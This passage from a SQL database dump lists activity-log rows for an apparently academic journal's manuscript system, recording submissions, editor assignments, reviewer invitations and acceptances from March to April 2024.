11:05:58','Editor has Accepted to review Manuscript',14605,'Editor',1797),(133463,'2024-03-26 11:06:12','Editor has been Editor Decision Accepted article',14605,'Editor',1797),(133464,'2024-03-26 11:06:25','Editor has Accepted to review Manuscript',14611,'Editor',1797),(133465,'2024-03-26 11:06:43','Editor has been Editor Decision Accepted article',14611,'Editor',1797),(133466,'2024-03-26 11:07:59','Editor has Accepted to review Manuscript',14609,'Editor',1796),(133467,'2024-03-26 11:08:17','Editor has been Editor Decision Accepted article',14609,'Editor',1796),(133468,'2024-03-26 11:08:24','Editor has Accepted to review Manuscript',14610,'Editor',1796),(133469,'2024-03-26 11:08:28','Editor has Accepted to review Manuscript',14613,'Editor',1796),(133470,'2024-03-26 11:08:44','Editor has been Editor Decision Accepted article',14610,'Editor',1796),(133471,'2024-03-26 11:09:09','Editor has been Editor Decision Accepted article',14613,'Editor',1796),(133472,'2024-03-26 11:12:27','Publisher has been Accepted Articles  article',14483,'Publisher',988),(133473,'2024-03-26 11:15:56','Publisher has been Accepted Articles  article',14602,'Publisher',988),(133474,'2024-03-26 11:16:36','Publisher has been Accepted Articles  article',14603,'Publisher',988),(133475,'2024-03-27 09:32:40','Publisher has been Assigned Editor',14705,'Publisher',645),(133476,'2024-03-27 09:33:02','Publisher has been Assigned Editor',14704,'Publisher',645),(133477,'2024-03-27 09:33:19','Publisher has been Assigned Editor',14703,'Publisher',645),(133478,'2024-03-27 09:33:45','Publisher has been Assigned Editor',14702,'Publisher',645),(133479,'2024-03-27 09:34:13','Publisher has been Assigned Editor',14701,'Publisher',645),(133480,'2024-03-27 09:34:49','Publisher has been Assigned Editor',14700,'Publisher',645),(133481,'2024-03-27 09:35:15','Publisher has been Assigned Editor',14699,'Publisher',645),(133482,'2024-03-27 09:36:07','Publisher has been Assigned Editor',14698,'Publisher',645),(133483,'2024-03-27 09:36:31','Publisher has been Assigned Editor',14697,'Publisher',645),(133484,'2024-03-27 09:36:48','Publisher has been Assigned Editor',14696,'Publisher',645),(133485,'2024-03-27 09:42:13','Publisher has been Accepted Articles  article',14043,'',1334),(133486,'2024-03-27 09:42:42','Publisher has been Accepted Articles  article',14044,'',1334),(133487,'2024-03-27 11:17:04','Publisher has been Accepted Articles  article',14604,'Publisher',988),(133488,'2024-03-27 11:17:08','Publisher has been Accepted Articles  article',14604,'Publisher',988),(133489,'2024-03-27 11:18:20','Publisher has been Accepted Articles  article',14605,'Publisher',988),(133490,'2024-03-27 11:19:27','Publisher has been Accepted Articles  article',14609,'Publisher',988),(133491,'2024-03-27 11:20:38','Publisher has been Accepted Articles  article',14610,'Publisher',988),(133492,'2024-03-27 11:21:39','Publisher has been Accepted Articles  article',14611,'Publisher',988),(133493,'2024-03-27 11:22:28','Publisher has been Accepted Articles  article',14612,'Publisher',988),(133494,'2024-03-27 11:23:22','Publisher has been Accepted Articles  article',14613,'Publisher',988),(133495,'2024-03-27 11:34:21','Manuscript Updated',14684,'Publisher',48),(133496,'2024-03-27 11:36:32','Publisher has been Accepted Articles  article',14684,'Publisher',48),(133497,'2024-03-27 11:36:43','Manuscript Updated',14684,'Publisher',48),(133498,'2024-03-27 16:32:05','Author sent Email',14684,'Author',14699),(133499,'2024-03-28 13:26:34','Manuscript Submitted by Publisher',14706,'',1045),(133500,'2024-03-28 17:14:23','Manuscript Submitted by Publisher',14707,'',1050),(133501,'2024-03-28 18:58:55','Manuscript Submitted by Author using Submission form',14708,'Author',14719),(133502,'2024-03-28 19:41:10','Manuscript Submitted by Author using Submission form',14709,'Author',14720),(133503,'2024-03-29 14:47:41','Publisher has been Accepted Articles  article',14654,'Publisher',673),(133504,'2024-03-29 14:50:02','Publisher has been Accepted Articles  article',14653,'Publisher',673),(133505,'2024-03-29 14:50:55','Publisher has been Accepted Articles  article',14652,'Publisher',673),(133506,'2024-03-29 14:51:41','Publisher has been Accepted Articles  article',14651,'Publisher',673),(133507,'2024-03-29 14:52:54','Publisher has been Accepted Articles  article',14650,'Publisher',673),(133508,'2024-03-29 14:53:41','Publisher has been Accepted Articles  article',14649,'Publisher',673),(133509,'2024-03-29 14:54:24','Publisher has been Accepted Articles  article',14648,'Publisher',673),(133510,'2024-03-29 14:54:27','Publisher has been Accepted Articles  article',14648,'Publisher',673),(133511,'2024-03-29 14:55:51','Publisher has been Accepted Articles  article',14647,'Publisher',673),(133512,'2024-03-29 14:57:02','Publisher has been Accepted Articles  article',14646,'Publisher',673),(133513,'2024-03-29 14:57:45','Publisher has been Accepted Articles  article',14645,'Publisher',673),(133514,'2024-03-30 11:42:54','Publisher has been Assigned Editor',14709,'Publisher',48),(133515,'2024-03-30 11:43:21','Publisher has been Assigned Editor',14708,'Publisher',48),(133516,'2024-03-30 11:47:46','Publisher has Invited Reviewer',14709,'Publisher',48),(133517,'2024-03-30 11:47:51','Publisher has Invited Reviewer',14709,'Publisher',48),(133518,'2024-03-30 11:47:56','Publisher has Invited Reviewer',14709,'Publisher',48),(133519,'2024-03-30 11:48:01','Publisher has Invited Reviewer',14709,'Publisher',48),(133520,'2024-03-30 11:48:06','Publisher has Invited Reviewer',14709,'Publisher',48),(133521,'2024-03-30 11:48:11','Publisher has Invited Reviewer',14709,'Publisher',48),(133522,'2024-03-30 11:48:16','Publisher has Invited Reviewer',14709,'Publisher',48),(133523,'2024-03-30 11:48:22','Publisher has Invited Reviewer',14709,'Publisher',48),(133524,'2024-03-30 11:48:27','Publisher has Invited Reviewer',14709,'Publisher',48),(133525,'2024-03-30 11:48:32','Publisher has Invited Reviewer',14709,'Publisher',48),(133526,'2024-03-30 11:49:39','Publisher has Invited Reviewer',14708,'Publisher',48),(133527,'2024-03-30 11:49:44','Publisher has Invited Reviewer',14708,'Publisher',48),(133528,'2024-03-30 11:49:49','Publisher has Invited Reviewer',14708,'Publisher',48),(133529,'2024-03-30 11:49:54','Publisher has Invited Reviewer',14708,'Publisher',48),(133530,'2024-03-30 11:49:59','Publisher has Invited Reviewer',14708,'Publisher',48),(133531,'2024-03-30 11:50:05','Publisher has Invited Reviewer',14708,'Publisher',48),(133532,'2024-03-30 11:50:10','Publisher has Invited Reviewer',14708,'Publisher',48),(133533,'2024-03-30 11:50:15','Publisher has Invited Reviewer',14708,'Publisher',48),(133534,'2024-03-30 11:50:20','Publisher has Invited Reviewer',14708,'Publisher',48),(133535,'2024-03-30 11:50:26','Publisher has Invited Reviewer',14708,'Publisher',48),(133536,'2024-03-30 11:50:31','Publisher has Invited Reviewer',14708,'Publisher',48),(133537,'2024-03-30 11:58:42','Editor has Accepted to review Manuscript',14709,'Editor',194),(133538,'2024-03-30 11:58:46','Editor has Accepted to review Manuscript',14708,'Editor',194),(133539,'2024-04-01 09:43:26','Publisher has been Assigned Editor',14707,'',1050),(133540,'2024-04-01 10:06:18','Manuscript Submitted by Publisher',14710,'',1212),(133541,'2024-04-01 13:10:10','Publisher has been Assigned Editor',14706,'',1045),(133542,'2024-04-01 13:43:21','Manuscript Submitted by Author using Submission form',14711,'Author',14721),(133543,'2024-04-01 15:46:03','Manuscript Submitted by Author using Submission form',14712,'Author',14722),(133544,'2024-04-01 16:53:17','Manuscript Submitted by Publisher',14713,'Publisher',319),(133545,'2024-04-01 16:57:52','Manuscript Submitted by Publisher',14714,'Publisher',319),(133546,'2024-04-01 17:02:08','Manuscript Submitted by Publisher',14715,'Publisher',319),(133547,'2024-04-01 17:05:16','Manuscript Submitted by Publisher',14716,'Publisher',319),(133548,'2024-04-01 17:09:07','Manuscript Submitted by Publisher',14717,'Publisher',319),(133549,'2024-04-01 17:13:11','Manuscript Submitted by Publisher',14718,'Publisher',319),(133550,'2024-04-01 17:17:05','Manuscript Submitted by Publisher',14719,'Publisher',319),(133551,'2024-04-01 17:20:03','Manuscript Submitted by Publisher',14720,'Publisher',319),(133552,'2024-04-01 17:24:19','Publisher has been Assigned Editor',14711,'Publisher',48),(133553,'2024-04-01 17:24:38','Manuscript Submitted by Publisher',14721,'Publisher',319),(133554,'2024-04-01 17:29:05','Manuscript Submitted by Publisher',14722,'Publisher',319),(133555,'2024-04-01 17:29:45','Publisher has Invited Reviewer',14711,'Publisher',48),(133556,'2024-04-01 17:29:50','Publisher has Invited Reviewer',14711,'Publisher',48),(133557,'2024-04-01 17:29:55','Publisher has Invited Reviewer',14711,'Publisher',48),(133558,'2024-04-01 17:30:01','Publisher has Invited Reviewer',14711,'Publisher',48),(133559,'2024-04-01 17:30:06','Publisher has Invited Reviewer',14711,'Publisher',48),(133560,'2024-04-01 17:30:11','Publisher has Invited Reviewer',14711,'Publisher',48),(133561,'2024-04-01 17:30:16','Publisher has Invited Reviewer',14711,'Publisher',48),(133562,'2024-04-01 17:30:21','Publisher has Invited Reviewer',14711,'Publisher',48),(133563,'2024-04-01 17:30:26','Publisher has Invited Reviewer',14711,'Publisher',48),(133564,'2024-04-01 17:30:31','Publisher has Invited Reviewer',14711,'Publisher',48),(133565,'2024-04-01 17:30:36','Publisher has Invited Reviewer',14711,'Publisher',48),(133566,'2024-04-01 17:30:42','Publisher has Invited Reviewer',14711,'Publisher',48),(133567,'2024-04-01 17:30:47','Publisher has Invited Reviewer',14711,'Publisher',48),(133568,'2024-04-01 17:30:52','Publisher has Invited Reviewer',14711,'Publisher',48),(133569,'2024-04-01 17:30:57','Publisher has Invited Reviewer',14711,'Publisher',48),(133570,'2024-04-01 17:31:02','Publisher has Invited Reviewer',14711,'Publisher',48),(133571,'2024-04-01 17:31:07','Publisher has Invited Reviewer',14711,'Publisher',48),(133572,'2024-04-01 17:31:12','Publisher has Invited Reviewer',14711,'Publisher',48),(133573,'2024-04-01 21:21:26','Manuscript Submitted by Author',14723,'Author',4939),(133574,'2024-04-02 09:46:13','Publisher has been Assigned Editor',14712,'Publisher',75),(133575,'2024-04-02 09:46:54','Publisher has Invited Reviewer',14712,'Publisher',75),(133576,'2024-04-02 09:47:00','Publisher has Invited Reviewer',14712,'Publisher',75),(133577,'2024-04-02 09:47:05','Publisher has Invited Reviewer',14712,'Publisher',75),(133578,'2024-04-02 09:47:10','Publisher has Invited Reviewer',14712,'Publisher',75),(133579,'2024-04-02 09:47:15','Publisher has Invited Reviewer',14712,'Publisher',75),(133580,'2024-04-02 09:47:21','Publisher has Invited Reviewer',14712,'Publisher',75),(133581,'2024-04-02 09:47:25','Publisher has Invited Reviewer',14712,'Publisher',75),(133582,'2024-04-02 09:47:31','Publisher has Invited Reviewer',14712,'Publisher',75),(133583,'2024-04-02 09:50:07','Editor has Accepted to review Manuscript',14705,'Editor',1806),(133584,'2024-04-02 09:50:26','Editor has been Editor Decision Accepted article',14705,'Editor',1806),(133585,'2024-04-02 09:50:42','Editor has Accepted to review Manuscript',14699,'Editor',1806),(133586,'2024-04-02 09:51:07','Editor has been Editor Decision Accepted article',14699,'Editor',1806),(133587,'2024-04-02 09:52:48','Editor has Accepted to review Manuscript',14704,'Editor',1805),(133588,'2024-04-02 09:53:06','Editor has been Editor Decision Accepted article',14704,'Editor',1805),(133589,'2024-04-02 09:53:15','Editor has Accepted to review Manuscript',14700,'Editor',1805),(133590,'2024-04-02 09:53:42','Editor has been Editor Decision Accepted article',14700,'Editor',1805),(133591,'2024-04-02 09:53:51','Editor has Accepted to review Manuscript',14696,'Editor',1805),(133592,'2024-04-02 09:54:14','Editor has been Editor Decision Accepted article',14696,'Editor',1805),(133593,'2024-04-02 09:55:59','Editor has Accepted to review Manuscript',14703,'Editor',1804),(133594,'2024-04-02 09:56:18','Editor has been Editor Decision Accepted article',14703,'Editor',1804),(133595,'2024-04-02 09:56:42','Editor has Accepted to review Manuscript',14697,'Editor',1804),(133596,'2024-04-02 09:57:29','Editor has been Editor Decision Accepted article',14697,'Editor',1804),(133597,'2024-04-02 09:58:32','Editor has Accepted to review Manuscript',14702,'Editor',1803),(133598,'2024-04-02 09:59:12','Editor has been Editor Decision Accepted article',14702,'Editor',1803),(133599,'2024-04-02 09:59:49','Editor has Accepted to review Manuscript',14701,'Editor',1803),(133600,'2024-04-02 10:00:11','Editor has been Editor Decision Accepted article',14701,'Editor',1803),(133601,'2024-04-02 10:00:21','Editor has Accepted to review Manuscript',14698,'Editor',1803),(133602,'2024-04-02 10:00:45','Editor has been Editor Decision Accepted article',14698,'Editor',1803),(133603,'2024-04-02 10:01:22','Editor has been Editor Decision Accepted article',14698,'Editor',1803),(133604,'2024-04-02 10:48:57','Manuscript Submitted by Publisher',14724,'Publisher',48),(133605,'2024-04-02 14:12:06','Publisher has been Assigned Editor',14722,'Publisher',319),(133606,'2024-04-02 14:13:58','Publisher has been Assigned Editor',14721,'Publisher',319),(133607,'2024-04-02 14:15:11','Publisher has been Assigned Editor',14720,'Publisher',319),(133608,'2024-04-02 14:16:21','Publisher has been Assigned Editor',14719,'Publisher',319),(133609,'2024-04-02 14:17:34','Publisher has been Assigned Editor',14718,'Publisher',319),(133610,'2024-04-02 14:18:51','Publisher has been Assigned Editor',14717,'Publisher',319),(133611,'2024-04-02 14:20:00','Publisher has been Assigned Editor',14716,'Publisher',319),(133612,'2024-04-02 14:21:08','Publisher has been Assigned Editor',14715,'Publisher',319),(133613,'2024-04-02 14:23:46','Publisher has been Assigned Editor',14714,'Publisher',319),(133614,'2024-04-02 14:24:52','Publisher has been Assigned Editor',14713,'Publisher',319),(133615,'2024-04-02 15:30:01','Editor has Accepted to review Manuscript',14711,'Editor',194),(133616,'2024-04-02 15:50:00','Publisher has been Assigned Editor',14724,'Publisher',48),(133617,'2024-04-02 15:50:56','Publisher has Invited Reviewer',14724,'Publisher',48),(133618,'2024-04-02 15:51:02','Publisher has Invited Reviewer',14724,'Publisher',48),(133619,'2024-04-02 15:51:11','Publisher has Invited Reviewer',14724,'Publisher',48),(133620,'2024-04-02 15:51:22','Publisher has Invited Reviewer',14724,'Publisher',48),(133621,'2024-04-02 15:51:29','Publisher has Invited Reviewer',14724,'Publisher',48),(133622,'2024-04-02 15:51:35','Publisher has Invited Reviewer',14724,'Publisher',48),(133623,'2024-04-02 15:51:42','Publisher has Invited Reviewer',14724,'Publisher',48),(133624,'2024-04-02 15:51:49','Publisher has Invited Reviewer',14724,'Publisher',48),(133625,'2024-04-02 15:51:55','Publisher has Invited Reviewer',14724,'Publisher',48),(133626,'2024-04-02 15:52:01','Publisher has Invited Reviewer',14724,'Publisher',48),(133627,'2024-04-02 15:52:08','Publisher has Invited Reviewer',14724,'Publisher',48),(133628,'2024-04-02 17:07:46','Manuscript Submitted by Publisher',14725,'Publisher',248),(133629,'2024-04-03 09:16:49','Publisher has been Assigned Editor',14725,'Publisher',248),(133630,'2024-04-03 09:51:25','Publisher has been Assigned Editor',14723,'Publisher',274),(133631,'2024-04-03 10:44:27','Manuscript Submitted by Publisher',14726,'Publisher',48),(133632,'2024-04-03 10:49:33','Manuscript Submitted by Publisher',14727,'Publisher',48),(133633,'2024-04-03 10:58:49','Manuscript Submitted by Publisher',14728,'Publisher',48),(133634,'2024-04-03 11:01:06','Manuscript Submitted by Publisher',14729,'Publisher',48),(133635,'2024-04-03 11:03:18','Manuscript Submitted by Publisher',14730,'Publisher',48),(133636,'2024-04-03 11:05:00','Manuscript Submitted by Publisher',14731,'Publisher',48),(133637,'2024-04-03 11:16:49','Manuscript Submitted by Publisher',14732,'Publisher',48),(133638,'2024-04-03 11:18:17','Manuscript Submitted by Publisher',14733,'Publisher',48),(133639,'2024-04-03 13:44:10','Editor has Accepted to review Manuscript',14724,'Editor',194),(133640,'2024-04-03 14:14:04','Manuscript Submitted by Publisher',14734,'',1212),(133641,'2024-04-03 15:33:51','Publisher has been Assigned Editor',14733,'Publisher',48),(133642,'2024-04-03 15:34:15','Publisher has been Assigned Editor',14732,'Publisher',48),(133643,'2024-04-03 15:34:33','Publisher has been Assigned Editor',14731,'Publisher',48),(133644,'2024-04-03 15:34:48','Publisher has been Assigned Editor',14730,'Publisher',48),(133645,'2024-04-03 15:35:02','Publisher has been Assigned Editor',14729,'Publisher',48),(133646,'2024-04-03 15:35:18','Publisher has been Assigned Editor',14728,'Publisher',48),(133647,'2024-04-03 15:35:49','Publisher has been Assigned Editor',14727,'Publisher',48),(133648,'2024-04-03 15:36:15','Publisher has been Assigned Editor',14726,'Publisher',48),(133649,'2024-04-03 17:01:08','Publisher has been Accepted Articles  article',14733,'Publisher',48),(133650,'2024-04-03 17:01:29','Publisher has been Accepted Articles  article',14732,'Publisher',48),(133651,'2024-04-03 17:01:43','Publisher has been Accepted Articles  article',14731,'Publisher',48),(133652,'2024-04-03 17:01:58','Publisher has been Accepted Articles  article',14730,'Publisher',48),(133653,'2024-04-03 17:02:14','Publisher has been Accepted Articles  article',14729,'Publisher',48),(133654,'2024-04-03 17:02:42','Manuscript Updated',14728,'Publisher',48),(133655,'2024-04-03 17:02:57','Publisher has been Accepted Articles  article',14728,'Publisher',48),(133656,'2024-04-03 17:03:25','Manuscript Updated',14728,'Publisher',48),(133657,'2024-04-03 17:03:57','Manuscript Updated',14727,'Publisher',48),(133658,'2024-04-03 17:04:12','Publisher has been Accepted Articles  article',14727,'Publisher',48),(133659,'2024-04-03 17:04:53','Manuscript Updated',14727,'Publisher',48),(133660,'2024-04-03 17:05:12','Manuscript Updated',14726,'Publisher',48),(133661,'2024-04-03 17:05:45','Publisher has been Accepted Articles  article',14726,'Publisher',48),(133662,'2024-04-03 17:05:55','Manuscript Updated',14726,'Publisher',48),(133663,'2024-04-03 19:50:05','Reviewer has submitted comments',14670,'Reviewer',21497),(133664,'2024-04-03 20:05:01','Reviewer has submitted comments',14670,'Reviewer',21497),(133665,'2024-04-05 09:31:52','Reviewer has submitted comments',14711,'Reviewer',18592),(133666,'2024-04-05 09:33:13','Publisher has been Assigned Editor',14734,'',1212),(133667,'2024-04-06 01:03:14','Manuscript Submitted by Author using Submission form',14735,'Author',14743),(133668,'2024-04-10 09:32:37','Publisher has been Accepted Articles  article',14696,'Publisher',645),(133669,'2024-04-10 09:37:17','Publisher has been Accepted Articles  article',14697,'Publisher',645),(133670,'2024-04-10 09:38:00','Publisher has been Accepted Articles  article',14698,'Publisher',645),(133671,'2024-04-10 09:39:12','Publisher has been Accepted Articles  article',14699,'Publisher',645),(133672,'2024-04-10 09:40:24','Publisher has been Accepted Articles  article',14700,'Publisher',645),(133673,'2024-04-10 09:40:33','Publisher has been Accepted Articles  article',14700,'Publisher',645),(133674,'2024-04-10 09:41:25','Publisher has been Accepted Articles  article',14701,'Publisher',645),(133675,'2024-04-10 09:42:13','Publisher has been Accepted Articles  article',14702,'Publisher',645),(133676,'2024-04-10 09:43:01','Publisher has been Accepted Articles  article',14703,'Publisher',645),(133677,'2024-04-10 09:43:48','Publisher has been Accepted Articles  article',14704,'Publisher',645),(133678,'2024-04-10 09:44:40','Publisher has been Accepted Articles  article',14705,'Publisher',645),(133679,'2024-04-10 10:13:26','Editor has Accepted to review Manuscript',14725,'Editor',359),(133680,'2024-04-10 10:16:22','Editor has Invited Reviewer',14725,'Editor',359),(133681,'2024-04-10 10:16:27','Editor has Invited Reviewer',14725,'Editor',359),(133682,'2024-04-10 10:16:32','Editor has Invited Reviewer',14725,'Editor',359),(133683,'2024-04-10 10:16:39','Editor has Invited Reviewer',14725,'Editor',359),(133684,'2024-04-10 10:22:49','Editor has been Editor Decision Accepted article',14725,'Editor',359),(133685,'2024-04-10 10:24:53','Editor has been Editor Decision Accepted article',14725,'Editor',359),(133686,'2024-04-10 10:25:55','Publisher has Unassign Editor',14725,'Publisher',248),(133687,'2024-04-10 10:27:07','Editor has Accepted to review Manuscript',14725,'Editor',358),(133688,'2024-04-10 10:28:04','Publisher has Invited Reviewer',14725,'Publisher',248),(133689,'2024-04-10 10:32:52','Reviewer has submitted comments',14725,'Reviewer',9932),(133690,'2024-04-10 11:43:09','Editor has been Editor Decision Accepted article',14725,'Editor',358),(133691,'2024-04-10 11:44:12','Publisher has been Accepted Articles  article',14725,'Publisher',248),(133692,'2024-04-10 13:41:39','Editor has Accepted to review Manuscript',14673,'Editor',1793),(133693,'2024-04-10 13:42:01','Editor has been Editor Decision Accepted article',14673,'Editor',1793),(133694,'2024-04-10 13:42:13','Editor has Accepted to review Manuscript',14675,'Editor',1793),(133695,'2024-04-10 13:42:23','Editor has been Editor Decision Accepted article',14675,'Editor',1793),(133696,'2024-04-10 13:45:23','Editor has Accepted to review Manuscript',14674,'Editor',1795),(133697,'2024-04-10 13:45:41','Editor has been Editor Decision Accepted article',14674,'Editor',1795),(133698,'2024-04-10 13:45:54','Editor has Accepted to review Manuscript',14682,'Editor',1795),(133699,'2024-04-10 13:46:03','Editor has been Editor Decision Accepted article',14682,'Editor',1795),(133700,'2024-04-10 13:47:05','Editor has Accepted to review Manuscript',14676,'Editor',1798),(133701,'2024-04-10 13:47:18','Editor has been Editor Decision Accepted article',14676,'Editor',1798),(133702,'2024-04-10 13:47:28','Editor has Accepted to review Manuscript',14678,'Editor',1798),(133703,'2024-04-10 13:47:43','Editor has been Editor Decision Accepted article',14678,'Editor',1798),(133704,'2024-04-10 13:47:44','Editor has been Editor Decision Accepted article',14678,'Editor',1798),(133705,'2024-04-10 13:48:33','Editor has Accepted to review Manuscript',14677,'Editor',1799),(133706,'2024-04-10 13:48:42','Editor has been Editor Decision Accepted article',14677,'Editor',1799),(133707,'2024-04-10 13:49:28','Editor has Accepted to review Manuscript',14679,'Editor',1800),(133708,'2024-04-10 13:49:47','Editor has been Editor Decision Accepted article',14679,'Editor',1800),(133709,'2024-04-10 13:51:01','Editor has Accepted to review Manuscript',14680,'Editor',1801),(133710,'2024-04-10 13:51:11','Editor has been Editor Decision Accepted article',14680,'Editor',1801),(133711,'2024-04-10 13:51:57','Editor has Accepted to review Manuscript',14440,'Editor',357),(133712,'2024-04-10 13:52:14','Editor has Accepted to review Manuscript',14681,'Editor',1802),(133713,'2024-04-10 13:52:21','Editor has been Editor Decision Accepted article',14440,'Editor',357),(133714,'2024-04-10 13:52:23','Editor has been Editor Decision Accepted article',14681,'Editor',1802),(133715,'2024-04-10 13:53:56','Publisher has been Accepted Articles  article',14440,'Publisher',248),(133716,'2024-04-10 13:54:01','Publisher has been Accepted Articles  article',14673,'Publisher',1009),(133717,'2024-04-10 13:54:58','Publisher has been Accepted Articles  article',14674,'Publisher',1009),(133718,'2024-04-10 13:57:01','Publisher has been Accepted Articles  article',14675,'Publisher',1009),(133719,'2024-04-10 13:58:20','Publisher has been Accepted Articles  article',14676,'Publisher',1009),(133720,'2024-04-10 13:58:34','Editor has Accepted to review Manuscript',14441,'Editor',1674),(133721,'2024-04-10 13:58:50','Editor has been Editor Decision Accepted article',14441,'Editor',1674),(133722,'2024-04-10 14:00:07','Publisher has been Accepted Articles  article',14441,'Publisher',248),(133723,'2024-04-10 14:00:16','Publisher has been Accepted Articles  article',14677,'Publisher',1009),(133724,'2024-04-10 14:02:47','Publisher has been Accepted Articles  article',14678,'Publisher',1009),(133725,'2024-04-10 14:04:04','Editor has Accepted to review Manuscript',14444,'Editor',1674),(133726,'2024-04-10 14:04:05','Publisher has been Accepted Articles  article',14679,'Publisher',1009),(133727,'2024-04-10 14:04:19','Editor has been Editor Decision Accepted article',14444,'Editor',1674),(133728,'2024-04-10 14:04:59','Publisher has been Accepted Articles  article',14444,'Publisher',248),(133729,'2024-04-10 14:05:37','Publisher has been Accepted Articles  article',14680,'Publisher',1009),(133730,'2024-04-10 14:06:15','Editor has Accepted to review Manuscript',14595,'Editor',359),(133731,'2024-04-10 14:06:16','Publisher has been Accepted Articles  article',14681,'Publisher',1009),(133732,'2024-04-10 14:06:31','Editor has been Editor Decision Accepted article',14595,'Editor',359),(133733,'2024-04-10 14:07:12','Publisher has been Accepted Articles  article',14595,'Publisher',248),(133734,'2024-04-10 14:07:21','Publisher has been Accepted Articles  article',14682,'Publisher',1009),(133735,'2024-04-10 14:08:06','Editor has Accepted to review Manuscript',14597,'Editor',357),(133736,'2024-04-10 14:08:29','Editor has been Editor Decision Accepted article',14597,'Editor',357),(133737,'2024-04-10 14:09:22','Publisher has been Accepted Articles  article',14597,'Publisher',248),(133738,'2024-04-10 14:10:25','Editor has Accepted to review Manuscript',14599,'Editor',1674),(133739,'2024-04-10 14:10:42','Editor has been Editor Decision Accepted article',14599,'Editor',1674),(133740,'2024-04-10 14:11:59','Publisher has been Accepted Articles  article',14599,'Publisher',248),(133741,'2024-04-10 14:19:47','Editor has Accepted to review Manuscript',14600,'Editor',358),(133742,'2024-04-10 14:20:09','Editor has been Editor Decision Accepted article',14600,'Editor',358),(133743,'2024-04-10 14:21:24','Publisher has been Accepted Articles  article',14600,'Publisher',248),(133744,'2024-04-10 14:22:29','Editor has Accepted to review Manuscript',14616,'Editor',1674),(133745,'2024-04-10 14:22:45','Editor has been Editor Decision Accepted article',14616,'Editor',1674),(133746,'2024-04-10 14:23:44','Publisher has been Accepted Articles  article',14616,'Publisher',248),(133747,'2024-04-10 14:25:56','Editor has Accepted to review Manuscript',14618,'Editor',357),(133748,'2024-04-10 14:26:15','Editor has been Editor Decision Accepted article',14618,'Editor',357),(133749,'2024-04-10 14:27:20','Publisher has been Accepted Articles  article',14618,'Publisher',248),(133750,'2024-04-10 14:28:19','Editor has Accepted to review Manuscript',14621,'Editor',359),(133751,'2024-04-10 14:28:40','Editor has been Editor Decision Accepted article',14621,'Editor',359),(133752,'2024-04-10 14:29:23','Publisher has been Accepted Articles  article',14621,'Publisher',248),(133753,'2024-04-10 16:52:26','Manuscript Submitted by Publisher',14736,'Publisher',48),(133754,'2024-04-11 09:38:17','Editor has Accepted to review Manuscript',14722,'Editor',1067),(133755,'2024-04-11 09:38:36','Editor has Accepted to review Manuscript',14717,'Editor',1067),(133756,'2024-04-11 09:39:26','Editor has been Editor Decision Accepted article',14717,'Editor',1067),(133757,'2024-04-11 09:41:03','Editor has been Editor Decision Accepted article',14722,'Editor',1067),(133758,'2024-04-11 09:43:23','Editor has Accepted to review Manuscript',14719,'Editor',1070),(133759,'2024-04-11 09:43:23','Editor has Accepted to review Manuscript',14719,'Editor',1070),(133760,'2024-04-11 09:43:29','Editor has Accepted to review Manuscript',14714,'Editor',1070),(133761,'2024-04-11 09:43:39','Editor has been Editor Decision Accepted article',14719,'Editor',1070),(133762,'2024-04-11 09:44:03','Editor has been Editor Decision Accepted article',14714,'Editor',1070),(133763,'2024-04-11 09:45:24','Editor has Accepted to review Manuscript',14718,'Editor',1791),(133764,'2024-04-11 09:45:29','Editor has Accepted to review Manuscript',14713,'Editor',1791),(133765,'2024-04-11 09:45:30','Editor has Accepted to review Manuscript',14713,'Editor',1791),(133766,'2024-04-11 09:45:42','Editor has been Editor Decision Accepted article',14718,'Editor',1791),(133767,'2024-04-11 09:46:01','Editor has been Editor Decision Accepted article',14713,'Editor',1791),(133768,'2024-04-11 09:48:07','Editor has Accepted to review Manuscript',14721,'Editor',1068),(133769,'2024-04-11 09:48:12','Editor has Accepted to review Manuscript',14716,'Editor',1068),(133770,'2024-04-11 09:48:25','Editor has been Editor Decision Accepted article',14721,'Editor',1068),(133771,'2024-04-11 09:48:43','Editor has been Editor Decision Accepted article',14716,'Editor',1068),(133772,'2024-04-11 09:50:14','Editor has Accepted to review Manuscript',14720,'Editor',1069),(133773,'2024-04-11 09:50:19','Editor has Accepted to review Manuscript',14715,'Editor',1069),(133774,'2024-04-11 09:50:31','Editor has been Editor Decision Accepted article',14720,'Editor',1069),(133775,'2024-04-11 09:50:55','Editor has been Editor Decision Accepted article',14715,'Editor',1069),(133776,'2024-04-11 10:06:33','Editor has been Editor Decision Accepted article',14711,'Editor',194),(133777,'2024-04-11 10:28:37','Publisher has Invited Reviewer',14712,'Publisher',75),(133778,'2024-04-11 10:28:42','Publisher has Invited Reviewer',14712,'Publisher',75),(133779,'2024-04-11 10:29:20','Publisher has Invited Reviewer',14712,'Publisher',75),(133780,'2024-04-11 10:29:25','Publisher has Invited Reviewer',14712,'Publisher',75),(133781,'2024-04-11 10:29:31','Publisher has Invited Reviewer',14712,'Publisher',75),(133782,'2024-04-11 10:36:37','Manuscript Updated',14711,'Publisher',48),(133783,'2024-04-11 10:36:58','Publisher has been Accepted Articles  article',14711,'Publisher',48),(133784,'2024-04-11 10:37:07','Manuscript Updated',14711,'Publisher',48),(133785,'2024-04-11 12:17:53','Publisher has been Assigned Editor',14736,'Publisher',48),(133786,'2024-04-11 12:18:34','Publisher has Invited Reviewer',14736,'Publisher',48),(133787,'2024-04-11 12:18:39','Publisher has Invited Reviewer',14736,'Publisher',48),(133788,'2024-04-11 12:18:45','Publisher has Invited Reviewer',14736,'Publisher',48),(133789,'2024-04-11 12:18:50','Publisher has Invited Reviewer',14736,'Publisher',48),(133790,'2024-04-11 12:18:55','Publisher has Invited Reviewer',14736,'Publisher',48),(133791,'2024-04-11 12:19:00','Publisher has Invited Reviewer',14736,'Publisher',48),(133792,'2024-04-11 12:19:05','Publisher has Invited Reviewer',14736,'Publisher',48),(133793,'2024-04-11 12:19:11','Publisher has Invited Reviewer',14736,'Publisher',48),(133794,'2024-04-11 12:19:15','Publisher has Invited Reviewer',14736,'Publisher',48),(133795,'2024-04-11 12:19:21','Publisher has Invited Reviewer',14736,'Publisher',48),(133796,'2024-04-11 12:19:26','Publisher has Invited Reviewer',14736,'Publisher',48),(133797,'2024-04-11 16:46:11','Manuscript Submitted by Publisher',14737,'',1212),(133798,'2024-04-11 17:02:33','Editor has Accepted to review Manuscript',14736,'Editor',194),(133799,'2024-04-12 10:01:27','Manuscript Submitted by Author using Submission form',14738,'Author',14747),(133800,'2024-04-12 10:08:47','Manuscript Submitted by Author using Submission form',14739,'Author',14748),(133801,'2024-04-12 11:31:52','Publisher has been Assigned Editor',14737,'',1212),(133802,'2024-04-12 13:19:43','Manuscript Submitted by Publisher',14740,'Publisher',645),(133803,'2024-04-12 15:01:20','Publisher 